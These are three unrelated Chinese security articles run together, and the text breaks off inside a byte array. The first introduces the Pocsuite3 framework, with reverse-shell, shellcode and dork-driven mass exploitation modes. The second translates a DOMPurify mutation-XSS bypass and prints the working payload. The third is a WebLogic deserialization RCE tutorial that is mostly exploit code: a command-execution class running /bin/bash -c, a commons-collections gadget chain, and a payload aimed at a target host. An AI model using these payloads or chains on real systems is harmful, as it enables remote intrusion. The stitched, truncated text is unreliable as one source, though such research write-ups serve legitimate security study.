> Pocsuite
> 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石，是团队发展至今一直维护的一个项目，保障了我们的 Web
> 安全研究能力的领先。
>
> 你可以直接使用 Pocsuite 进行漏洞的验证与利用；你也可以基于 Pocsuite 进行 PoC/Exp 的开发，因为它也是一个 PoC
> 开发框架；同时，你还可以在你的漏洞测试工具里直接集成 Pocsuite，它也提供标准的调用类。
Pocsuite3是完全由Python3编写，支持Windows/Linux/Mac
OSX等系统，在原Pocsuite的基础上进行了整体的重写与升级，使整个框架更具有操作性和灵活性。
## 巨人的肩膀
Pocsuite3在编写时参考了很多市面上的开源框架以及流行成熟的框架，在代码工程结构上参考了Sqlmap，Pocsuite-console模式则参照了routersploit与metasploit，所以PoC的代码格式和以前有些差别（但是尽量克制了大的改动）。Pocsuite3也提供了非常简单的接口调用，可以集成到其他安全工具内部。
## 下载
### Pip 安装
安装有两种，pip和直接运行源码。
pip install -U pocsuite3 --no-cache-dir
将使用Pocsuite3最新版。
执行
pocsuite -h
检验安装效果。
### 源码安装
如果你自信能折腾的话，可以下载源码使用，这也是我们推荐的方式，因为pip的更新可能会慢于github，
wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
同时需要安装两个依赖
pip install requests requests-toolbelt
如果同时也是Windows系统，除了上面的依赖还需要安装一个
pip install pyreadline # Windows console模式下使用，如果不使用可以不安装
最后
python cli.py -h
检验安装效果。
另外需要注意的是，两种安装方式只可以取其一，不可同时安装。建议使用源码安装的方式。
## 一般使用帮助
大多数情况，`-h`可以帮助你了解Pocsuite支持的功能。
一个简单的测试
python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5
将使用ZoomEye搜索ecshop并使用`ecshop_rce.py`探测，指定线程数量为5
Pocsuite的运行模式默认是`verify`验证模式，此时对目标影响最小，也有`attack`和`shell`模式，对目标进行相关攻击与shell反弹(当然需要PoC的支持，Pocsuite的PoC编写格式预留了这三种模式的接口，并且有很多内置API帮助实现这三种接口)
### Shell模式
Pocsuite3新增加了shell模式的设定，当你选择了此函数，Pocsuite3将会监听一个端口，并等待目标的反连。我们提供了各种语言用于反连的payload，以及用于生成在Windows/Linux平台下可执行的shellcode。
### 从配置文件运行
有时候命令行命令太多，有些参数的重用性比较高，Pocsuite也提供了从配置文件中运行的方法。
我们以redis未授权访问漏洞为例，我们修改这个文件[pocsuite.ini](https://github.com/knownsec/pocsuite3/blob/master/pocsuite.ini)
线程也调整一下，RUN！
python3 cli.py -c ../pocsuite.ini
由于开启了`comparsion`参数，我们可以看到更多的信息
如果你同时还是`Zoomeye
VIP`，搜集目标的同时也能够识别出蜜罐信息。目前只有通过Zoomeye接口获取的数据才能有蜜罐的标识。Shodan、Censys暂未开放相关API接口。
## 插件系统
Pocsuite支持了插件系统，按照加载目标(targets)，加载PoC(pocs)，结果处理(results)分为三种类型插件。
### Targets插件
除了本身可以使用`-u`、`-f`加载本地的目标之外，你可以编写一个targets类型插件从任何你想加载的地方加载目标(eg:Zoomeye、Shodan）甚至从网页上，redis，都可以。Pocsuite3内置了四种目标加载插件。
从上文可以看出，如果使用了搜索dork`—dork`、`—dork_zoomeye`、`—dork_shodan`、`—dork_censys`，相关插件将自动加载，无需手动指定。
### Pocs插件
原来只能通过从seebug中调用插件，现在将这种方式抽离出来作为插件，将允许从任何能够访问的地方调用，甚至写一个插件在github上维护一个仓库调用都行。
Demo:
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/poc_from_redis.py>
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/poc_from_seebug.py>
### Results-plugin
Results插件允许对扫描的结果进行处理，可以参考内置的两个插件，保存结果为html与保存结果为txt。Results插件的结果是实时的，具体可以看`plugins/file_record.py`的实现方式。
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/html_report.py>
<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py>
### 调用插件
通过`--plugins`在后面指定插件名称，多个插件可以用`,`分割。例如`--plugins html_report`将会生成HTML报表格式文档。
## 内置API
基于我们漏洞应急的积累，基本上Pocsuite内置的API接口可以做到PoC编写的全覆盖了。很多API接口我们下一章再说，这里说两个比较有趣的案例。
### Shellcode生成支持
在一些特殊的Linux和Windows环境下，想得到反弹shell条件比较困难。为此我们制作了用于在Windows/Linux x86
x64环境下的用于反弹的shellcode，并制作了接口支持，你在只需要拥有命令执行权限下便可以自动将shellcode写入到目标机器以及执行反弹shell命令。Demo
Poc：<https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py>
### HTTP服务内置
如果你们还对[Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated
RCE!](https://paper.seebug.org/818/)
有印象。多么完美的漏洞，但是在编写PoC的时候我们遇到了困难，`verify`模式我们可以轻松用Ceye来识别，但是`attack`模式与`shell`模式我们就必须要制作自己的Jar并将它上传到服务器上面！
为此我们制作Jar格式打包的API以及HTTP服务API，在后面的众多越来越难以自动化的PoC编写中，会发现它是如此好用。
附 Jenkins Abusing Meta Programming for Unauthenticated RCE(CVE-2019-1003000)
with Pocsuite3 演示视频。
<https://www.youtube.com/watch?v=5P7WWlqYt4U>
## 自定义参数传递
随着编程人员的安全意识逐渐提高，会发现以前一条链接就可以获取RCE的时代已经过去了。越来越多的漏洞转向需要一定"权限"才能触发。为此，我们需要在Pocsuite3预留参数接口。
在尽量保持原有PoC格式的前提下，我们增加了一个`_options`方法，用于指定用户传递的参数。DemoPoc:
<https://github.com/knownsec/pocsuite3/blob/master/tests/login_demo.py>
我们定义了在Poc中需要传递`username`、`password`两个参数，为了使用的方便，可以直接在命令行模式下如下
python3 cli.py -u http://localhost -r tests/login_demo.py --username "404team" --password "password"
是的，就是这么简单。可能你会问如果PoC中定义的参数与Pocsuite自带的参数名冲突了如何解决？我们的解决办法是不允许定义冲突的参数名，Pocsuite在启动时就会检查，如果有冲突的参数名会提示你修改PoC中的自定义参数名称。
## Console模式
在某些情况下，我们也考虑到了可交互的命令模式（黑客的仪式感）。并且它完全能兼容命令行模式下的PoC，如果你在Linux或Mac下使用它，将得到更好的体验。
一些Tips：
* 在此模式下多用help可以明白更多
* 加载PoC插件时，可以直接`use + 数字`，更简单方便，当然输入完整路径也可以，按下Tab会自动补全。
* 有一些命令别名没有在help中显示，作为彩蛋等待使用者发现~
## API 通用集成
我们鼓励也支持将Pocsuite3作为安全产品中的一部分。只需要将Pocsuite3作为模块导入到你的项目中就能轻松使用。后面我们也会详细说明Pocsuite3是如何做到这一点的。
`pocsuite3.api`将Pocsuite中所有接口暴露出来，不管是写PoC还是集成到自己的环境，只需要使用这就可以。一个简单调用Demo。
from pocsuite3.api import init_pocsuite
from pocsuite3.api import start_pocsuite
from pocsuite3.api import get_result
from pocsuite3.api import path
import os
config = {
'url': 'https://www.baidu.com/',
'poc': os.path.join(paths.POCSUITE_ROOT_PATH, "../tests/login_demo.py"),
'username': "asd",
'password': 'asdss',
'verbose': 0
}
# config字典的配置和cli命令行参数配置一模一样
init_pocsuite(config)
start_pocsuite()
result = get_results().pop()
print(result)
## 最后
一个功能完备的框架并不只是一个可以批量处理任务的引擎，很多东西需要在实战中积累并以最好的方式实现出来（俗称踩坑）。在打造自己的PoC框架过程中，一定要清楚自己需要的是什么，以及用何种方式将它优雅的解决？下篇将具体谈谈Pocsuite3中的框架结构。
* * * | 社区文章 |
# 前言
2019年9月19号，DOMPurify（XSS过滤器）发布了[新版本](https://github.com/cure53/DOMPurify/releases/tag/2.0.1
"新版本")，新版本修复了本文即将提到的绕过问题。抛砖引玉，因此在本文中，我首先介绍DOMPurify的大体情况以及工作原理，进而引出绕过原理。如果读者已经充分掌握DOMPurify和mXSS的原理-建议你直接跳到Chromium(和Safari)中的mXSS这一部分。
# HTML过滤器——我们为什么需要它以及相应的工作原理
许多web应用程序，以编辑器的形式，允许用户使用一些特殊的文本格式（例如，粗体，斜体等等）。这个功能在博客，邮件当中使用甚广。这里出现的主要安全问题就是有些不法用户可能输入一些恶意HTML/JavaScript从而引入XSS。因此，这类允许用户进行个性化输入的应用程序的创建者就面临一个很头疼的问题：如何确保用户的输入的HTML是安全的，从而不会引起不必要的XSS。
这就是为什么需要HTML过滤器的原因。HTML过滤器的主要目的是揪出不可信的输入，对其进行过滤，并生成安全的HTML(过滤所有危险标签的HTML)。
过滤器通常通过解析输入来进行过滤（从JavaScript中有几种方法可以实现这一点，例如使用
[DOMParser.prototype.parseFromString](https://developer.mozilla.org/en-US/docs/Web/API/DOMParser
"DOMParser.prototype.parseFromString")方法），然后，过滤器本身有一个安全的元素和属性的列表，遍历DOM树然后删除列表中没有包括的内容(简要的介绍了一下原理，真正的原理比这个复杂多了)。
因此，假设我们有一个具有以下安全列表的过滤器：
元素: <div>, <b>, <i> and <img>.
属性: src.
接着，用户输入以下HTML：
<div>I am trying to be <i>malicious</i> <u>here</u>! <img src=1 onerror=alert(1)></div>
解析之后，获得以下DOM树：
对比一下安全列表，需要删除两处不包含在列表里的元素及属性
<u>
onerror
因此，遍历DOM树并执行过滤操作之后，得到以下结果：
于是现在就产生了一个“安全的”DOM树，其中过滤了所有不存在安全列表的元素或属性。因此，过滤后就变成了以下字符串：
<div>I am trying to be <i>malicious</i> here! <img src="1"></div>
但现在就万事大吉了吗？我们就可以认为这是一个安全的HTML片段了吗？我只能说这基本上算是安全的，但别忘了还有一个重要的漏洞——突变XSS。
# 什么是突变XSS？
关于突变XSS的定义，可以追溯于Mario Heiderich等人于2013年发表的一篇论文“ [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML
Mutations](https://cure53.de/fp170.pdf "mXSS Attacks: Attacking well-secured
Web-Applications by using innerHTML
Mutations").”在下一部分中，我将简要介绍什么是突变XSS以及怎样绕过DOMPurify。
innerHTML是DOM元素中一种非常容易使用的方法，利用该方法我们输入一些HTML，它就会被自动解析并插入到DOM树中。
element.innerHTML = '<u>Some <i>HTML'
"="的右侧部分将被自动解析并作为element的子元素插入到DOM树中。但是，innerHTML的问题是浏览器可以改变我们想要插入的字符串。例如，如果我尝试读取element.innerHTML，我会得到以下结果：
在赋值给innerHTML之后，我读取后却得到一个不同的值。我早已料到这种情况，用户可以输入破损的HTML，但浏览器必须要修复它。
但我们发现有时输入会发生几次变异。康一康以下表达式:
element.innerHTML = element.innerHTML
乍一看，将innerHTML赋给自己应该没有关系。但这里就是问题所在，由于浏览器的bug，突变XSS就产生了。
# mXSS in Chromium
我在当前版本的Chrome(77)中发现了一个新的突变XSS向量，我就可以利用突变XSS绕过DOMPurify。
首先分配一个`<svg>`标签，`<p>`是它的子标签。但是从DOM树中我们可以发现，`<p>`元素实际上“跳出”了`<svg>`。发生这种情况的主要原因是`<p>`不是`<svg>`中的有效标签，因此浏览器会在结束`<svg>`后打开`<p>`。
但是，让我们看看当我尝试在SVG中放置结束`</p>`标记时会发生什么：
`<p>`元素现在是`<svg>`的子元素,且Chrome自动添加了开始`<p>`标签。这意味着如果我试图将`innerHTML`赋值给它本身，它将发生变异！
因此，`<svg></p>`的payload是突变XSS的基础，因为它在分配给innerHTML时会发生变异；最初位于`<svg>`内的内容会跳出。剩下的步骤是如何利用它。
# 滥用mXSS绕过DOMPurify
试一试将以下字符串分配给DOM元素的innerHTML：
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
这个DOM片段本身没有什么问题。默认配置下，DOMPurify允许所有标签(`<div>`，`<svg>`，`<p>`，`<style>`和`<a>`)和属性`id`。所以它不会改变代码中的任何内容。但是，当我们尝试将innerHTML分配给自身时，…
突然的alert！
当你在HTML中打开`<svg>`时，浏览器的解析规则会发生变化，解析规则趋于XML解析而不是HTML解析。主要区别在于HTML中的某些标签在从文本反序列化时不能有子标签。例如`<style>`。如果查看HTML规范，我们会发现它的内容模型是Text。即使您尝试将元素放在`<style>`中，它也会被视为文本：
对于SVG来说，事情并非如此。让我们继续用上面的例子，但`<style>`是`<svg>`的子标签：
`<style>`有了子元素
现在让我们看看DOMPurify的示例：
在这种情况下，浏览器假定`</p>`和`<style>`都是`<svg>`的子元素，这间接导致`<a>`元素是`<style>`的子元素。
但是，代码发生了一点变异，现在`<svg>`中也有一个`<p>`。该代码理论上是安全的，因为危险的`<img>`元素实际上在`id`属性的值内。
但是，当我们尝试将结果HTML分配给innerHTML时，代码将变异为以下形式：
现在`<svg>`元素立即结束，后面的一切代码都是普通的HTML。这意味着`<style>`——`</style>`，包含onerror属性的`<img>`标签被写入DOM树。
Bingo！这就是Chrome中的mXSS被滥用来绕过DOMPurify。同样的技巧有可能拿来绕过其他过滤器。
读者可以在我准备的[jsbin](https://jsbin.com/yomabutoze/edit?html,output "jsbin")中大施拳脚。
# 总结
在这篇文章中，我介绍了一个由于Chrome存在的突变XSS向量从而绕过DOMPurify的方法。成因是`<svg></p>`被浏览器重写为`<svg><p></svg>`，然后在将其分配给`innerHTML`后重写为`<svg></svg><p></p>`。最初的HTML解析假定某些元素在`<svg>`内，而在随后的解析中，这些元素在`<svg>`之外，从而允许添加任意HTML标签。
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
# 后记
在报告了绕过DOMPurify之后，我又发现了很多问题。首先，mXSS不仅可以在Chrome中使用，也可以在Safari中使用。其次，它还有几个变体：
可以使用`<math>`代替`<svg>`,`</br>`代替`</p>`
如果你正在使用DOMPurify，你应该立即将其更新到2.0.1或更高版本。如果你不想升级版本的话，你也可以禁用`<math>`和`<svg>`达到同样效果：
DOMPurify.sanitize(input, {
FORBID_TAGS: ['svg', 'math']
});
原文：https://research.securitum.com/dompurify-bypass-using-mxss/ | 社区文章 |
最近在研究weblogic，执行命令没有回显，Google了一下，发现可以通过RMI来解决weblogic反序列化RCE没有命令执行结果回显，先看下基础知识。
## Java类
Java是编译型语言，所有的Java代码都需要被编译成字节码来让JVM执行。Java类初始化时会调用 `java.lang.ClassLoader`
加载类字节码，ClassLoader会调用defineClass方法来创建一个 `java.lang.Class` 类实例。
比如创建一个类
package com.test.ClassLoader;
public class HelloWorld {
public static void main(String[] args) {
System.out.println("hello");
}
}
生成class字节后，利用Java自带的反编译工具看一下。
我们用java代码读取下class的字节码
package com.test.ClassLoader;
import java.io.*;
public class ClassLoaderMain {
public static void main(String[] args) {
byte[] bs = getBytesByFile("E:\\work\\code\\java\\ClassLoaderTest\\out\\production\\ClassLoaderTest\\com\\test\\ClassLoader\\HelloWorld.class");
for (int i = 0; i < bs.length; i++) {
System.out.print(bs[i]+",");
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
ClassLoader实际上就是根据这个字节码定义的类实例。
## Java的类加载机制
Java中类加载可以分为显示和隐式，通过反射或者ClassLoader类加载就是显示加载，而`类名.方法名`或者new一个类实例就是隐式加载。
常见类加载的几种方法有
1. Class.forName() 实际上就是反射加载
try {
Class.forName("com.test.ClassLoader.HelloWorld");
HelloWorld.test();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
1. loadClass() 使用ClassLoader加载
try {
ClassLoaderMain.class.getClassLoader().loadClass("com.test.ClassLoader.HelloWorld");
HelloWorld.test();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
## ClassLoader类
一切的Java类都必须经过JVM加载后才能运行，而ClassLoader的主要作用就是Java类文件的加载。ClassLoader类有如下核心方法：
1. loadClass(加载指定的Java类)
2. findClass(查找指定的Java类)
3. findLoadedClass(查找JVM已经加载过的类)
4. defineClass(定义一个Java类)
5. resolveClass(链接指定的Java类)
我们可以通过自己编译写好的类，然后用字节码来自定义类。
## 使用字节码自定义类
如果classpath中不存在你想要的类，我们可以用字节码重写ClassLoader类的findClass方法，当找不到这个类时，调用defineClass方法的时候传入自己类的字节码的方式来向JVM中定义一个类。
package com.test.ClassLoader;
public class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello");
}
public static void test(){
System.out.println("test");
}
}
比如我想要上面这个类，可以在编译后通过hexdump或者java来读取字节码，我仍然使用最上面的java来读取类字节码。
然后重写ClassLoader的findClass方法，通过反射来调用自己的test()方法。
package com.test.ClassLoader;
import java.lang.reflect.Method;
public class MyClassLoader extends ClassLoader {
private static String myClassName = "com.test.ClassLoader.HelloWorld";
private static byte[] bs = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 52, 0, 36, 10, 0, 7, 0, 22, 9, 0, 23, 0, 24, 8, 0, 25, 10, 0, 26, 0, 27, 8, 0, 19, 7, 0, 28, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 33, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 116, 101, 115, 116, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 30, 12, 0, 31, 0, 32, 1, 0, 5, 72, 101, 108, 108, 111, 7, 0, 33, 12, 0, 34, 0, 35, 1, 0, 31, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 3, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 9, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 55, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 17, 0, 18, 0, 0, 0, 9, 0, 19, 0, 9, 0, 1, 0, 10, 0, 0, 0, 37, 0, 2, 0, 0, 0, 0, 0, 9, -78, 0, 2, 18, 5, -74, 0, 4, -79, 0, 0, 0, 1, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 1, 0, 20, 0, 0, 0, 2, 0, 21,
};
public static void main(String[] args) {
try {
MyClassLoader loader = new MyClassLoader();
Class helloClass = loader.loadClass(myClassName);
Object obj = helloClass.newInstance();
Method method = obj.getClass().getMethod("test");
method.invoke(null);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name == myClassName) {
System.out.println("加载" + name + "类");
return defineClass(myClassName, bs, 0, bs.length);
}
return super.findClass(name);
}
}
删掉classpath中的HelloWorld.class字节码，然后运行。
成功调用字节码定义的test()方法。
## RMI简介
RMI(Remote Method
Invocation)即Java远程方法调用，RMI用于构建分布式应用程序，RMI实现了Java程序之间跨JVM的远程通信。一个RMI过程有以下三个参与者：
1. RMI Registry
2. RMI Server
3. RMI Client
来看一个例子
RMIServer.java
package com.test.rmi;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
@Override
public String hello() throws RemoteException {
System.out.println("call hello()");
return "helloworld";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
RMIClient.java
package com.test.Train;
import com.test.rmi.RMIServer;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://127.0.0.1:1099/Hello");
String res = hello.hello();
System.out.println(res);
}
}
在RMIServer代码中的Server其实包含了Registry和Server两部分，分别运行Server和Client看下。
由此可见Client远程调用了Server的hello()方法，输出了helloworld。我们回过头来看下Server的结构
1. 定义一个IRemoteHelloWorld接口继承Remote
2. 在接口中定义一个hello()方法 方法必须抛出 java.rmi.RemoteException 异常
3. 定义一个RemoteHelloWorld类实现IRemoteHelloWorld接口并继承UnicastRemoteObject类
4. 重写hello()方法
5. 新建RemoteHelloWorld对象绑定在`rmi://127.0.0.1:1099/Hello`开始监听
本文不深入探讨RMI的工作原理，我们只需要知道如果Server端有继承Remote的接口，并且实现了具体方法时，我们可以在Client去调用他的方法。
## RMI和Weblogic的结合
到目前为止，我们知道可以通过ClassLoader类和字节码来定义我们自己的类，也知道可以通过RMI来调用远程服务器的方法。那么在weblogic之中，RMI有什么妙用？
之前写的几篇关于Weblogic的反序列化RCE因为没有回显结果，都是通过curl或者dnslog来验证的，而看了上文之后，我们可以通过common-collection反序列化调用ClassLoader，通过字节码来自定义一个RMI接口类，在类实现的方法中返回命令执行的结果。
那么现在有几个问题：
1. defineClass需要ClassLoader的子类才能拿到
2. 具体应该实现哪个RMI接口类呢？
3. common-collection构造的问题
因为ClassLoader是一个abstract，所以我们只能从他的子类中寻找defineClass()，idea快捷键CTRL alt
b可以寻找子类，我找到了以下几个
jxxload_help.PathVFSJavaLoader#loadClassFromBytes
org.python.core.BytecodeLoader1#loadClassFromBytes
sun.org.mozilla.javascript.internal.DefiningClassLoader#defineClass
java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource)
org.mozilla.classfile.DefiningClassLoader#defineClass
这几个的defineClass()没有做检查，可以直接定义类。weblogic_cmd用的是最后一个。
然后我们再来看应该实现哪个RMI接口，可以直接在Remote类按快捷键寻找，378个......
注意我们要找的是interface，并且我们要返回命令执行的结果，所以方法的返回类型应该为String，并且方法必须抛出
java.rmi.RemoteException 异常。
随便找了几个
weblogic.ejb.QueryHome
weblogic.ejb20.interfaces.RemoteHome#getIsIdenticalKey
weblogic.jndi.internal.NamingNode#getNameInNamespace(java.lang.String)
weblogic.cluster.singleton.ClusterMasterRemote
weblogic_cmd用的就是最后一个，我们也用最后一个来构造
package com.test.payload;
import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
public class RemoteImpl implements ClusterMasterRemote {
public static void main(String[] args) {
RemoteImpl remote = new RemoteImpl();
try {
Context context = new InitialContext();
context.rebind("Y4er",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void setServerLocation(String cmd, String args) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<String>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
最后一个问题就是common-collection的transform[]构造的问题，我们要通过反射的形式调用DefiningClassLoader的defineClass()去定义我们自己的类，然后还是反射调用自己类的main方法。也就是如下。
// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new ConstantTransformer(new HashSet())};
接下来将我们自己写好的RMI接口类生成字节码之后构造payload
package com.test;
import com.supeream.serial.Reflections;
import com.supeream.serial.SerialDataGenerator;
import com.supeream.serial.Serializables;
import com.supeream.ssl.WeblogicTrustManager;
import com.supeream.weblogic.T3ProtocolOperation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.mozilla.classfile.DefiningClassLoader;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jndi.Environment;
import javax.naming.Context;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Main {
private static String host = "172.16.2.129";
private static String port = "7001";
private static final String classname = "com.test.payload.RemoteImpl";
private static final byte[] bs = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 50, 0, -116, 10, 0, 32, 0, 83, 7, 0, 84, 10, 0, 2, 0, 83, 7, 0, 85, 10, 0, 4, 0, 83, 8, 0, 86, 11, 0, 87, 0, 88, 10, 0, 2, 0, 89, 7, 0, 90, 10, 0, 9, 0, 91, 7, 0, 92, 10, 0, 11, 0, 83, 8, 0, 93, 11, 0, 94, 0, 95, 8, 0, 96, 7, 0, 97, 10, 0, 16, 0, 98, 10, 0, 16, 0, 99, 10, 0, 16, 0, 100, 7, 0, 101, 7, 0, 102, 10, 0, 103, 0, 104, 10, 0, 21, 0, 105, 10, 0, 20, 0, 106, 7, 0, 107, 10, 0, 25, 0, 83, 10, 0, 20, 0, 108, 10, 0, 25, 0, 109, 8, 0, 110, 10, 0, 25, 0, 111, 10, 0, 9, 0, 112, 7, 0, 113, 7, 0, 114, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 29, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 112, 97, 121, 108, 111, 97, 100, 47, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 7, 99, 111, 110, 116, 101, 120, 116, 1, 0, 22, 76, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 67, 111, 110, 116, 101, 120, 116, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 114, 101, 109, 111, 116, 101, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 48, 7, 0, 84, 7, 0, 90, 1, 0, 17, 115, 101, 116, 83, 